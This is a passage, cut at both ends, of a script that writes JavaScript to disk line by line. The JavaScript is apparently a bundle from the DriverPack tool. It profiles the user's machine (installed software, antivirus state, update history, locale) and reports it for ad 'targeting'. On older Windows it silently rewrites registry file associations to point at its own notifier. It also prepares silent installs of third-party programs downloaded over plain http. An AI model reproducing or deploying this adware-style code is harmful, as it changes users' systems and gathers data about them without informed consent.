file.WriteLine(" };");
file.WriteLine(" Metric.prototype.send = function(metric, data) {");
file.WriteLine(" var _this2 = this, id =
_statistics2[\"default\"].computerId;");
file.WriteLine(" if (id && this.hash) {");
file.WriteLine(" var json = {");
file.WriteLine(" id: id,");
file.WriteLine(" hash: this.hash,");
file.WriteLine(" data: data");
file.WriteLine(" };");
file.WriteLine(" return this.post(\"/collect/\" + metric, json)
[\"catch\"](function() {");
file.WriteLine(" return _this2.img(\"/collect\", {");
file.WriteLine(" metric: metric,");
file.WriteLine(" data: json");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" return Metric;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = Metric;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _system = __webpack_require__(1), localeHex = (0,
_system.RegRead)(\"HKCU\\\\Control Panel\\\\International\\\\Locale\"), locale =
parseInt(\"0x\" + localeHex, 16), lang = \"en\";");
file.WriteLine(" switch (locale) {");
file.WriteLine(" case 9:");
file.WriteLine(" case 3081:");
file.WriteLine(" case 10249:");
file.WriteLine(" case 4105:");
file.WriteLine(" case 9225:");
file.WriteLine(" case 16393:");
file.WriteLine(" case 6153:");
file.WriteLine(" case 8201:");
file.WriteLine(" case 17417:");
file.WriteLine(" case 5129:");
file.WriteLine(" case 13321:");
file.WriteLine(" case 18441:");
file.WriteLine(" case 7177:");
file.WriteLine(" case 11273:");
file.WriteLine(" case 2057:");
file.WriteLine(" case 1033:");
file.WriteLine(" case 12297:");
file.WriteLine(" case 15369:");
file.WriteLine(" case 14345:");
file.WriteLine(" lang = \"en\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 12:");
file.WriteLine(" case 2060:");
file.WriteLine(" case 11276:");
file.WriteLine(" case 3084:");
file.WriteLine(" case 9228:");
file.WriteLine(" case 12300:");
file.WriteLine(" case 15372:");
file.WriteLine(" case 1036:");
file.WriteLine(" case 5132:");
file.WriteLine(" case 13324:");
file.WriteLine(" case 6156:");
file.WriteLine(" case 14348:");
file.WriteLine(" case 58380:");
file.WriteLine(" case 8204:");
file.WriteLine(" case 10252:");
file.WriteLine(" case 4108:");
file.WriteLine(" case 7180:");
file.WriteLine(" lang = \"fr\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 10:");
file.WriteLine(" case 15370:");
file.WriteLine(" case 5130:");
file.WriteLine(" case 7178:");
file.WriteLine(" case 12298:");
file.WriteLine(" case 17418:");
file.WriteLine(" case 4106:");
file.WriteLine(" case 18442:");
file.WriteLine(" case 3082:");
file.WriteLine(" case 13322:");
file.WriteLine(" case 19466:");
file.WriteLine(" case 2058:");
file.WriteLine(" case 10250:");
file.WriteLine(" case 20490:");
file.WriteLine(" case 1034:");
file.WriteLine(" case 14346:");
file.WriteLine(" case 8202:");
file.WriteLine(" case 6154:");
file.WriteLine(" case 11274:");
file.WriteLine(" case 16394:");
file.WriteLine(" case 22538:");
file.WriteLine(" case 21514:");
file.WriteLine(" lang = \"es\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 9226:");
file.WriteLine(" lang = \"co\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" case 3079:");
file.WriteLine(" case 1031:");
file.WriteLine(" case 5127:");
file.WriteLine(" case 4103:");
file.WriteLine(" case 2055:");
file.WriteLine(" lang = \"de\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1079:");
file.WriteLine(" lang = \"ka\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 44:");
file.WriteLine(" case 29740:");
file.WriteLine(" case 2092:");
file.WriteLine(" case 30764:");
file.WriteLine(" case 1068:");
file.WriteLine(" lang = \"az\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 16:");
file.WriteLine(" case 1040:");
file.WriteLine(" case 2064:");
file.WriteLine(" lang = \"it\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 25:");
file.WriteLine(" case 1049:");
file.WriteLine(" case 2073:");
file.WriteLine(" lang = \"ru\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 34:");
file.WriteLine(" case 1058:");
file.WriteLine(" lang = \"uk\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 31:");
file.WriteLine(" case 1055:");
file.WriteLine(" lang = \"tr\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 39:");
file.WriteLine(" case 1063:");
file.WriteLine(" lang = \"lt\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 19:");
file.WriteLine(" case 1043:");
file.WriteLine(" case 2067:");
file.WriteLine(" lang = \"nl\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 6170:");
file.WriteLine(" case 2074:");
file.WriteLine(" lang = \"srl\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 3098:");
file.WriteLine(" case 7194:");
file.WriteLine(" lang = \"sr\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1:");
file.WriteLine(" case 5121:");
file.WriteLine(" case 15361:");
file.WriteLine(" case 3073:");
file.WriteLine(" case 2049:");
file.WriteLine(" case 11265:");
file.WriteLine(" case 13313:");
file.WriteLine(" case 12289:");
file.WriteLine(" case 4097:");
file.WriteLine(" case 6145:");
file.WriteLine(" case 8193:");
file.WriteLine(" case 16385:");
file.WriteLine(" case 1025:");
file.WriteLine(" case 10241:");
file.WriteLine(" case 7169:");
file.WriteLine(" case 14337:");
file.WriteLine(" case 9217:");
file.WriteLine(" lang = \"ar\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1045:");
file.WriteLine(" lang = \"pl\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1067:");
file.WriteLine(" lang = \"hy\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1029:");
file.WriteLine(" lang = \"cs\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1030:");
file.WriteLine(" lang = \"da\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1059:");
file.WriteLine(" lang = \"be\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1046:");
file.WriteLine(" case 2070:");
file.WriteLine(" lang = \"pt\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 2052:");
file.WriteLine(" case 4100:");
file.WriteLine(" case 1028:");
file.WriteLine(" case 3076:");
file.WriteLine(" case 5124:");
file.WriteLine(" lang = \"zh\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1065:");
file.WriteLine(" lang = \"fa\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1032:");
file.WriteLine(" lang = \"el\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1037:");
file.WriteLine(" lang = \"he\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1038:");
file.WriteLine(" lang = \"hu\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1057:");
file.WriteLine(" lang = \"id\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1170:");
file.WriteLine(" lang = \"ku\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1060:");
file.WriteLine(" lang = \"sl\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1051:");
file.WriteLine(" lang = \"sk\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1048:");
file.WriteLine(" case 2072:");
file.WriteLine(" lang = \"ro\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1092:");
file.WriteLine(" lang = \"tt\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1050:");
file.WriteLine(" case 4122:");
file.WriteLine(" lang = \"hr\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 1061:");
file.WriteLine(" case 1066:");
file.WriteLine(" lang = \"vi\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" lang = \"en\";");
file.WriteLine(" }");
file.WriteLine(" exports[\"default\"] = window.lang = lang;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _asyncToGenerator(fn) {");
file.WriteLine(" return function() {");
file.WriteLine(" var gen = fn.apply(this, arguments);");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" function step(key, arg) {");
file.WriteLine(" try {");
file.WriteLine(" var info = gen[key](arg), value =
info.value;");
file.WriteLine(" } catch (error) {");
file.WriteLine(" reject(error);");
file.WriteLine(" return;");
file.WriteLine(" }");
file.WriteLine(" if (info.done) resolve(value); else return
Promise.resolve(value).then(function(value) {");
file.WriteLine(" step(\"next\", value);");
file.WriteLine(" }, function(err) {");
file.WriteLine(" step(\"throw\", err);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return step(\"next\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _lodash = __webpack_require__(423), _getDiagnostics2 =
__webpack_require__(109), _getDiagnostics3 =
_interopRequireDefault(_getDiagnostics2), _system = __webpack_require__(1),
_statistics = __webpack_require__(20), _statistics2 =
_interopRequireDefault(_statistics), _Notification = __webpack_require__(19),
_Notification2 = _interopRequireDefault(_Notification), _utils =
__webpack_require__(4), _Antivirus = __webpack_require__(174), _Antivirus2 =
_interopRequireDefault(_Antivirus), _softByType = __webpack_require__(488),
_softByType2 = _interopRequireDefault(_softByType), normalize = function(str) {");
file.WriteLine(" return str.toLowerCase().trim();");
file.WriteLine(" }, urls = {");
file.WriteLine(" tool: \"https://aamuntyan.typeform.com/to/LxJb27\",");
file.WriteLine(" favorite: \"https://aamuntyan.typeform.com/to/pFRZpy\",");
file.WriteLine(" drivers: \"https://aamuntyan.typeform.com/to/T17zIn\"");
file.WriteLine(" }, CustDev = function() {");
file.WriteLine(" function CustDev() {");
file.WriteLine(" _classCallCheck(this, CustDev);");
file.WriteLine(" var _getDiagnostics = (0,
_getDiagnostics3[\"default\"])(\"soft\"), Software = _getDiagnostics.Software;");
file.WriteLine(" this.soft = Software[\"Installed
Software\"].map(function(item) {");
file.WriteLine(" return {");
file.WriteLine(" name: normalize(item.Program),");
file.WriteLine(" key: normalize(item[\"Registry Path\"])");
file.WriteLine(" };");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" CustDev.prototype.run = function() {");
file.WriteLine(" function run() {");
file.WriteLine(" return _ref.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref =
_asyncToGenerator(regeneratorRuntime.mark(function _callee() {");
file.WriteLine(" var label;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context)
{");
file.WriteLine(" for (;;) switch (_context.prev = _context.next)
{");
file.WriteLine(" case 0:");
file.WriteLine(" label = this.getLabel();");
file.WriteLine(" if (!label) {");
file.WriteLine(" _context.next = 5;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context.next = 4;");
file.WriteLine(" return this.showNotification(label);");
file.WriteLine("");
file.WriteLine(" case 4:");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"targeting \" + label,");
file.WriteLine(" params: {");
file.WriteLine(" targetingParams: this.params");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee, this);");
file.WriteLine(" }));");
file.WriteLine(" return run;");
file.WriteLine(" }();");
file.WriteLine(" CustDev.prototype.getLabel = function() {");
file.WriteLine(" var _checkSoft = this.checkSoft(), browsers =
_checkSoft.browsers, tools = _checkSoft.tools, cleaners = _checkSoft.cleaners,
daysSinceLastUpdate = this.getDaysSinceLastUpdate(), driverpackRuns =
this.getDriverpackRuns(), antivirus = this.checkAntivirus();");
file.WriteLine(" this.params = {");
file.WriteLine(" browsers: String(browsers),");
file.WriteLine(" tools: String(tools),");
file.WriteLine(" cleaners: String(cleaners),");
file.WriteLine(" daysSinceLastUpdate: daysSinceLastUpdate,");
file.WriteLine(" driverpackRuns: String(driverpackRuns),");
file.WriteLine(" antivirus: String(antivirus)");
file.WriteLine(" };");
file.WriteLine(" if ((browsers > 1 || tools > 0) && daysSinceLastUpdate
> 60) return \"tool\"; else if (cleaners > 0 && antivirus) return \"favorite\";
else if (driverpackRuns > 1) return \"drivers\";");
file.WriteLine(" };");
file.WriteLine(" CustDev.prototype.checkSoft = function() {");
file.WriteLine(" var res = {};");
file.WriteLine(" for (var key in _softByType2[\"default\"]) {");
file.WriteLine(" for (var names = _softByType2[\"default\"]
[key].map(normalize), counter = 0, _iterator = this.soft, _isArray =
Array.isArray(_iterator), _i = 0, _iterator = _isArray ? _iterator :
_iterator[Symbol.iterator](); ;) {");
file.WriteLine(" var _ref3;");
file.WriteLine(" if (\"break\" === function() {");
file.WriteLine(" if (_isArray) {");
file.WriteLine(" if (_i >= _iterator.length)
return \"break\";");
file.WriteLine(" _ref3 = _iterator[_i++];");
file.WriteLine(" } else {");
file.WriteLine(" _i = _iterator.next();");
file.WriteLine(" if (_i.done) return \"break\";");
file.WriteLine(" _ref3 = _i.value;");
file.WriteLine(" }");
file.WriteLine(" var _ref2 = _ref3, name = _ref2.name, key =
_ref2.key;");
file.WriteLine(" if (names.some(function(expected) {");
file.WriteLine(" return (0, _lodash.includes)(\"\\\\\" +
name + \"\\\\\", expected) || (0, _lodash.includes)(key, expected);");
file.WriteLine(" })) counter++;");
file.WriteLine(" }()) break;");
file.WriteLine(" }");
file.WriteLine(" res[key] = counter;");
file.WriteLine(" }");
file.WriteLine(" return res;");
file.WriteLine(" };");
file.WriteLine(" CustDev.prototype.checkAntivirus = function() {");
file.WriteLine(" var controller = new _Antivirus2[\"default\"]();");
file.WriteLine(" if (controller.isSecurityCenterServiceRunning()) return
controller.scanAntiviruses().some(function(antivirus) {");
file.WriteLine(" return !controller.isNotWorking(antivirus);");
file.WriteLine(" }); else return !1;");
file.WriteLine(" };");
file.WriteLine(" CustDev.prototype.getLastUpdate = function() {");
file.WriteLine(" var session = new
ActiveXObject(\"Microsoft.Update.Session\"), searcher =
session.CreateUpdateSearcher(), history = searcher.QueryHistory(1, 1);");
file.WriteLine(" if (history.count) {");
file.WriteLine(" var e = new Enumerator(history);");
file.WriteLine(" return new Date(e.item().Date);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" CustDev.prototype.getDaysSinceLastUpdate = function() {");
file.WriteLine(" var lastUpdate = this.getLastUpdate(), date =
lastUpdate || new Date(0), days = (Date.now() - date.valueOf()) / 864e5;");
file.WriteLine(" return Math.round(days);");
file.WriteLine(" };");
file.WriteLine(" CustDev.prototype.getDriverpackRuns = function() {");
file.WriteLine(" var res = [];");
file.WriteLine(" try {");
file.WriteLine(" var folder = _system.fso.GetFolder(_system.AppData
+ \"\\\\DRPSu\\\\Logs\");");
file.WriteLine(" (0, _system.iterate)(folder.Files, function(file)
{");
file.WriteLine(" res.push(new Date(file.DateCreated));");
file.WriteLine(" });");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" return (0, _lodash.uniq)(res.map(function(date) {");
file.WriteLine(" return date.toISOString().slice(0, 10);");
file.WriteLine(" })).length;");
file.WriteLine(" };");
file.WriteLine(" CustDev.prototype.showNotification = function() {");
file.WriteLine(" function showNotification(_x) {");
file.WriteLine(" return _ref4.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref4 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee2(label) {");
file.WriteLine(" var notification, status;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context2)
{");
file.WriteLine(" for (;;) switch (_context2.prev =
_context2.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" notification = new
_Notification2[\"default\"](\"custdev-invite\", {");
file.WriteLine(" label: label");
file.WriteLine(" });");
file.WriteLine(" _context2.next = 3;");
file.WriteLine(" return notification.show();");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" status = _context2.sent;");
file.WriteLine(" if (\"ok\" === status) (0, _utils.goToUrl)
(urls[label]);");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context2.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee2, this);");
file.WriteLine(" }));");
file.WriteLine(" return showNotification;");
file.WriteLine(" }();");
file.WriteLine(" return CustDev;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = CustDev;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _asyncToGenerator(fn) {");
file.WriteLine(" return function() {");
file.WriteLine(" var gen = fn.apply(this, arguments);");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" function step(key, arg) {");
file.WriteLine(" try {");
file.WriteLine(" var info = gen[key](arg), value =
info.value;");
file.WriteLine(" } catch (error) {");
file.WriteLine(" reject(error);");
file.WriteLine(" return;");
file.WriteLine(" }");
file.WriteLine(" if (info.done) resolve(value); else return
Promise.resolve(value).then(function(value) {");
file.WriteLine(" step(\"next\", value);");
file.WriteLine(" }, function(err) {");
file.WriteLine(" step(\"throw\", err);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return step(\"next\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _statistics = __webpack_require__(20), _statistics2 =
_interopRequireDefault(_statistics), _config = __webpack_require__(6), _config2 =
_interopRequireDefault(_config), _Notification = __webpack_require__(19),
_Notification2 = _interopRequireDefault(_Notification), _utils =
__webpack_require__(4), _system = __webpack_require__(1), _os =
__webpack_require__(14), AppExecutable =
_config2[\"default\"].application.AppExecutable, App = _utils.AppPath + \"\\\\\" +
AppExecutable, AppCommand = '\"' + App + '\" --file_association true --fullfilepath
\"%1\"', ExtensionSoft = {");
file.WriteLine(" \"WinRAR (Russian)\": {");
file.WriteLine(" extensions:
[ \".001\", \".7z\", \".arj\", \".bz2\", \".bzip2\", \".cab\", \".cpio\", \".deb\",
\".dmg\", \".fat\", \".gz\", \".gzip\", \".hfs\", \".iso\", \".lha\", \".lzh\", \".
lzma\", \".ntfs\", \".rar\", \".squashfs\", \".swm\", \".tar\", \".taz\", \".tbz\",
\".tbz2\", \".tgz\", \".tpz\", \".txz\", \".vhd\", \".xar\", \".xz\", \".wim\", \".
z\", \".zip\" ],");
file.WriteLine("
url: \"http://download.drp.su/soft/WinRARx86Rus.exe\",");
file.WriteLine(" keys: \"/S\",");
file.WriteLine(" installedSoftLocation: _utils.ProgramFiles
+ \"\\\\WinRAR\\\\WinRAR.exe\",");
file.WriteLine(" category: \"Archiver\"");
file.WriteLine(" },");
file.WriteLine(" PotPlayer: {");
file.WriteLine(" extensions: [ \".3g2\", \".3gp2\", \".3gp\", \".3gpp\",
\".amr\", \".amv\", \".asf\", \".avi\", \".dat\", \".divx\", \".dmskm\", \".dpg\",
\".dvr-ms\", \".evo\", \".ifo\", \".f4v\", \".flv\", \".k3g\", \".lmp4\", \".m1v\",
\".m2t\", \".m2ts\", \".m2v\", \".m4p\", \".m4v\", \".mkv\", \".mov\", \".mp2v\", \
".mp4\", \".mpe\", \".mpeg\", \".mpg\", \".mpv2\", \".mqv\", \".mts\", \".mxf\", \"
.nsr\", \".nsv\", \".ogm\", \".ogv\", \".qt\", \".rm\", \".ram\", \".rmvb\", \".rpm
.skm\", \".swf\", \".ts\", \".tp\", \".tpr\", \".trp\", \".vob\", \".webm\", \".wm\
", \".wmp\", \".wmv\", \".ass\", \".idx\", \".smi\", \".srt\", \".ssa\", \".sub\",
\".asx\", \".dpl\", \".mpl\", \".mpls\", \".wvx\", \".dts\", \".dtshd\", \"eac3\",
\".m1a\", \".m2a\", \".mka\", \".mpa\", \".ra\" ],");
file.WriteLine(" url: \"http://download.drp.su/soft/PotPlayer.exe\",");
file.WriteLine(" keys: \"/S /Video-1 /Audio-0 /Sub-1 /Lists-0 /Shortcut-
1010110 /AutoPlayVideo-1 /AutoPlayAudio-0 /ImpIni\",");
file.WriteLine(" installedSoftLocation: _utils.ProgramFiles
+ \"\\\\Daum\\\\PotPlayer\\\\PotPlayerMini.exe\",");
file.WriteLine(" category: \"Player\"");
file.WriteLine(" },");
file.WriteLine(" \"Foxit PDF Reader\": {");
file.WriteLine(" extensions:
[ \".fdf\", \".pdf\", \".xfdf\", \".xdp\" ],");
file.WriteLine("
url: \"http://download.drp.su/soft/FoxitReader.exe\",");
file.WriteLine(" keys: \"-ai1MUD -gm1 -fm0\",");
file.WriteLine(" installedSoftLocation: _utils.ProgramFiles
+ \"\\\\Foxit Software\\\\Foxit Reader\\\\FoxitReader.exe\",");
file.WriteLine(" category: \"Viewer\"");
file.WriteLine(" },");
file.WriteLine(" uTorrent: {");
file.WriteLine(" extensions: [ \".download\", \".torrent\", \".!
ut\" ],");
file.WriteLine(" url: \"http://download.drp.su/soft/uTorrent.exe\",");
file.WriteLine(" keys: \"/S\",");
file.WriteLine(" installedSoftLocation: _utils.ProgramFiles
+ \"\\\\uTorrent\\\\uTorrent.exe\",");
file.WriteLine(" category: \"Internet\"");
file.WriteLine(" }");
file.WriteLine(" }, FileAssociationsManager = function() {");
file.WriteLine(" function FileAssociationsManager() {");
file.WriteLine(" _classCallCheck(this, FileAssociationsManager);");
file.WriteLine(" this.HKCU = _utils.UserHK;");
file.WriteLine(" }");
file.WriteLine(" FileAssociationsManager.prototype.run = function() {");
file.WriteLine(" var _this = this;");
file.WriteLine(" if (_os.OSVersion < 10) {");
file.WriteLine(" this.defineNotifierAssociation();");
file.WriteLine(" for (var soft in ExtensionSoft) {");
file.WriteLine("
ExtensionSoft[soft].extensions.forEach(function(extension) {");
file.WriteLine(" if (!
_this.checkExtensionHasAssociations(extension))
_this.setFileAssociation(extension);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine("
FileAssociationsManager.prototype.checkExtensionHasAssociations =
function(extension) {");
file.WriteLine(" var result = !1;");
file.WriteLine(" try {");
file.WriteLine(" result = !!
_system.WshShell.RegRead(\"HKLM\\\\SOFTWARE\\\\Classes\\\\\" + extension
+ \"\\\\\");");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" if (!result) try {");
file.WriteLine(" result = !!_system.WshShell.RegRead(this.HKCU
+ \"\\\\SOFTWARE\\\\Classes\\\\\" + extension + \"\\\\\");");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" for (var regKeys =
[ \"HKLM\\\\SOFTWARE\\\\Classes\\\\\" + extension
+ \"\\\\OpenWithProgIDs\\\\\", \"HKLM\\\\SOFTWARE\\\\Classes\\\\\" + extension
+ \"\\\\OpenWithList\\\\\", \"HKLM\\\\SOFTWARE\\\\Classes\\\\\" + extension
+ \"\\\\ShellEx\\\\\", this.HKCU + \"\\\\SOFTWARE\\\\Classes\\\\\" + extension
+ \"\\\\OpenWithProgIDs\\\\\", this.HKCU + \"\\\\SOFTWARE\\\\Classes\\\\\" +
extension + \"\\\\OpenWithList\\\\\", this.HKCU + \"\\\\SOFTWARE\\\\Classes\\\\\" +
extension + \"\\\\ShellEx\\\\\", this.HKCU
+ \"\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\FileExts\
\\\\" + extension + \"\\\\UserChoice\\\\\" ], i = 0; i < regKeys.length; i++) if (!
result) try {");
file.WriteLine(" _system.WshShell.RegRead(regKeys[i]);");
file.WriteLine(" result = !0;");
file.WriteLine(" break;");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" return result;");
file.WriteLine(" };");
file.WriteLine(" FileAssociationsManager.prototype.setFileAssociation =
function(extension) {");
file.WriteLine(" try {");
file.WriteLine(" _system.WshShell.RegWrite(this.HKCU
+ \"\\\\SOFTWARE\\\\Classes\\\\\" + extension
+ \"\\\\\", \"DriverPackNotifier\", \"REG_SZ\");");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" };");
file.WriteLine(" FileAssociationsManager.prototype.defineNotifierAssociation
= function() {");
file.WriteLine(" try {");
file.WriteLine(" _system.WshShell.RegWrite(this.HKCU
+ \"\\\\SOFTWARE\\\\Classes\\\\DriverPackNotifier\\\\shell\\\\open\\\\command\\\\\"
, AppCommand, \"REG_SZ\");");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" };");
file.WriteLine(" FileAssociationsManager.prototype.getNotificationLang =
function(localeData) {");
file.WriteLine(" var lang = localeData.lang, countryCode =
localeData.countryCode;");
file.WriteLine(" if (\"ru\" === lang || \"ru\" ===
countryCode.toLowerCase()) return \"ru\"; else if (\"es\" === lang || \"es\" ===
countryCode.toLowerCase() || \"mx\" === countryCode.toLowerCase() || \"pe\" ===
countryCode.toLowerCase() || \"ar\" === countryCode.toLowerCase() || \"sv\" ===
countryCode.toLowerCase()) return \"es\"; else if (\"fr\" === lang || \"fr\" ===
countryCode.toLowerCase()) return \"fr\"; else return \"en\";");
file.WriteLine(" };");
file.WriteLine(" FileAssociationsManager.prototype.showConfirm = function()
{");
file.WriteLine(" function showConfirm(_x, _x2, _x3, _x4) {");
file.WriteLine(" return _ref.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref =
_asyncToGenerator(regeneratorRuntime.mark(function _callee(localeData, extension,
fileName, fullFilePath) {");
file.WriteLine(" var softName, softCategory, key, soft, extensions,
lang, notification;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context)
{");
file.WriteLine(" for (;;) switch (_context.prev = _context.next)
{");
file.WriteLine(" case 0:");
file.WriteLine(" softName = null;");
file.WriteLine(" softCategory = null;");
file.WriteLine(" for (key in ExtensionSoft) {");
file.WriteLine(" soft = ExtensionSoft[key];");
file.WriteLine(" extensions = soft.extensions;");
file.WriteLine(" if (-1 !==
extensions.indexOf(extension)) {");
file.WriteLine(" softName = key;");
file.WriteLine(" softCategory = soft.category;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" if (!softName) {");
file.WriteLine(" _context.next = 10;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" if (fileName.length > 17) fileName =
fileName.substr(0, 17) + \"...\";");
file.WriteLine(" lang =
this.getNotificationLang(localeData);");
file.WriteLine(" notification = new
_Notification2[\"default\"](\"fileassociation\", {");
file.WriteLine(" lang: lang,");
file.WriteLine(" extension: extension,");
file.WriteLine(" fileName: fileName,");
file.WriteLine(" softName: softName,");
file.WriteLine(" softCategory: softCategory");
file.WriteLine(" });");
file.WriteLine(" notification.on(\"message\",
function(message) {");
file.WriteLine(" if (\"ok\" === message) {");
file.WriteLine(" var params = [ \"--
file_association\", !0, \"--install_soft\", !0, \"--label\",
encodeURIComponent(notification.config.statisticsLabel), \"--extension\",
extension, \"--fullfilepath\", encodeURIComponent(fullFilePath) ].join(\" \");");
file.WriteLine(" _system.WshShell.Run('\"' +
_utils.AppPath + '\\\\Uninstall.exe\" ' + params, 3, !1);");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" _context.next = 10;");
file.WriteLine(" return notification.show();");
file.WriteLine("");
file.WriteLine(" case 10:");
file.WriteLine(" window.close();");
file.WriteLine("");
file.WriteLine(" case 11:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee, this);");
file.WriteLine(" }));");
file.WriteLine(" return showConfirm;");
file.WriteLine(" }();");
file.WriteLine(" FileAssociationsManager.prototype.installSoft = function()
{");
file.WriteLine(" function installSoft(_x5, _x6, _x7) {");
file.WriteLine(" return _ref2.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref2 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee2(extension, label,
fullFilePath) {");
file.WriteLine(" var notification, softName, softUrl, softKeys, key,
soft, extensions, downloadURI, keys, fileName, targetFolder, wgetCommand,
command;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context2)
{");
file.WriteLine(" for (;;) switch (_context2.prev =
_context2.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" try {");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft installation
started\",");
file.WriteLine(" label:
_statistics2[\"default\"].drpVersion + \" \" + label");
file.WriteLine(" }, [], !0);");
file.WriteLine(" notification = new
